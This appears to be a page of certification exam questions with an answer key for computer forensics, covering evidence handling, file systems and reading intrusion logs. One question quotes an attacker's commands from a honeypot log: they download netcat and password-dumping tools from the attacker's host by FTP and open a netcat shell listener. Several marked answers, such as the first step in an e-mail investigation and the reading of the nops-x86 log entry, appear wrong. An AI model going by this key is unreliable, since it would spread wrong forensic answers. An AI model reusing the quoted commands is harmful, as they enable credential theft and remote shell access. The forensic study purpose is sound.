Computer Hacking Forensic Investigator v1.0

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Exam contains 531 questions
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In a forensic examination of hard drives for digital evidence, what type of user is most likely to have the most file slack to analyze?

  • A. one who has NTFS 4 or 5 partitions
  • B. one who uses dynamic swap file capability
  • C. one who uses hard disk writes on IRQ 13 and 21
  • D. one who has lots of allocation units per block or cluster


Answer : D

In what way do the procedures for dealing with evidence in a criminal case differ from the procedures for dealing with evidence in a civil case?

  • A. evidence must be handled in the same way regardless of the type of case
  • B. evidence procedures are not important unless you work for a law enforcement agency
  • C. evidence in a criminal case must be secured more tightly than in a civil case
  • D. evidence in a civil case must be secured more tightly than in a criminal case


Answer : C

You are assigned to work in the computer forensics lab of a state police agency. While working on a high profile criminal case, you have followed every applicable procedure, however your boss is still concerned that the defense attorney might question whether evidence has been changed while at the lab. What can you do to prove that the evidence is the same as it was when it first entered the lab?

  • A. make an MD5 hash of the evidence and compare it with the original MD5 hash that was taken when the evidence first entered the lab
  • B. make an MD5 hash of the evidence and compare it to the standard database developed by NIST
  • C. there is no reason to worry about this possible claim because state labs are certified
  • D. sign a statement attesting that the evidence is the same as it was when it entered the lab


Answer : A

Study the log given below and answer the following question:
Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169
Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482
Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53
Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21
Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53
Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53
Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111
Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80
Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53
Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506)
Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080
Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558
Precautionary measures to prevent this attack would include writing firewall rules. Of these firewall rules, which among the following would be appropriate?

  • A. Disallow UDP53 in from outside to DNS server
  • B. Allow UDP53 in from DNS server to outside
  • C. Disallow TCP53 in from secondaries or ISP server to DNS server
  • D. Block all UDP traffic


Answer : A

When monitoring for both intrusion and security events between multiple computers, it is essential that the computers' clocks are synchronized. Synchronized time allows an administrator to reconstruct what took place during an attack against multiple computers. Without synchronized time, it is very difficult to determine exactly when specific events took place, and how events interlace. What is the name of the service used to synchronize time among multiple computers?

  • A. Universal Time Set
  • B. Network Time Protocol
  • C. SyncTime Service
  • D. Time-Sync Protocol


Answer : B

When investigating a potential e-mail crime, what is your first step in the investigation?

  • A. Trace the IP address to its origin
  • B. Write a report
  • C. Determine whether a crime was actually committed
  • D. Recover the evidence


Answer : A

If a suspect computer is located in an area that may have toxic chemicals, you must:

  • A. coordinate with the HAZMAT team
  • B. determine a way to obtain the suspect computer
  • C. assume the suspect machine is contaminated
  • D. do not enter alone


Answer : A

The following excerpt is taken from a honeypot log. The log captures activities across three days.
There are several intrusion attempts; however, a few are successful.
(Note: The objective of this question is to test whether the student can read basic information from log entries and interpret the nature of attack.)
Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169
Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482
Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53
Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21
Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53
Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53
Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111
Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80
Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53
Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506)
Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080
Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558
From the options given below choose the one which best interprets the following entry:
Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

  • A. An IDS evasion technique
  • B. A buffer overflow attempt
  • C. A DNS zone transfer
  • D. Data being retrieved from 63.226.81.13


Answer : A

What happens when a file is deleted by a Microsoft operating system using the FAT file system?

  • A. only the reference to the file is removed from the FAT
  • B. the file is erased and cannot be recovered
  • C. a copy of the file is stored and the original file is erased
  • D. the file is erased but can be recovered


Answer : A

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission
Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a
Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
What can you infer from the exploit given?

  • A. It is a local exploit where the attacker logs in using username johna2k
  • B. There are two attackers on the system - johna2k and haxedj00
  • C. The attack is a remote exploit and the hacker downloads three files
  • D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port


Answer : C

Explanation:
The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.

What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer?

  • A. rootkit
  • B. key escrow
  • C. steganography
  • D. Offset


Answer : C

During the course of an investigation, you locate evidence that may prove the innocence of the suspect of the investigation. You must maintain an unbiased opinion and be objective in your entire fact finding process. Therefore, you report this evidence. This type of evidence is known as:

  • A. Inculpatory evidence
  • B. Mandatory evidence
  • C. Exculpatory evidence
  • D. Terrible evidence


Answer : C

If you discover a criminal act while investigating a corporate policy abuse, it becomes a publicsector investigation and should be referred to law enforcement?

  • A. true
  • B. false


Answer : A

What binary coding is used most often for e-mail purposes?

  • A. MIME
  • B. Uuencode
  • C. IMAP
  • D. SMTP


Answer : A

If you see the files Zer0.tar.gz and copy.tar.gz on a Linux system while doing an investigation, what can you conclude?

  • A. The system files have been copied by a remote attacker
  • B. The system administrator has created an incremental backup
  • C. The system has been compromised using a t0rnrootkit
  • D. Nothing in particular as these can be operational files


Answer : D

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Exam contains 531 questions
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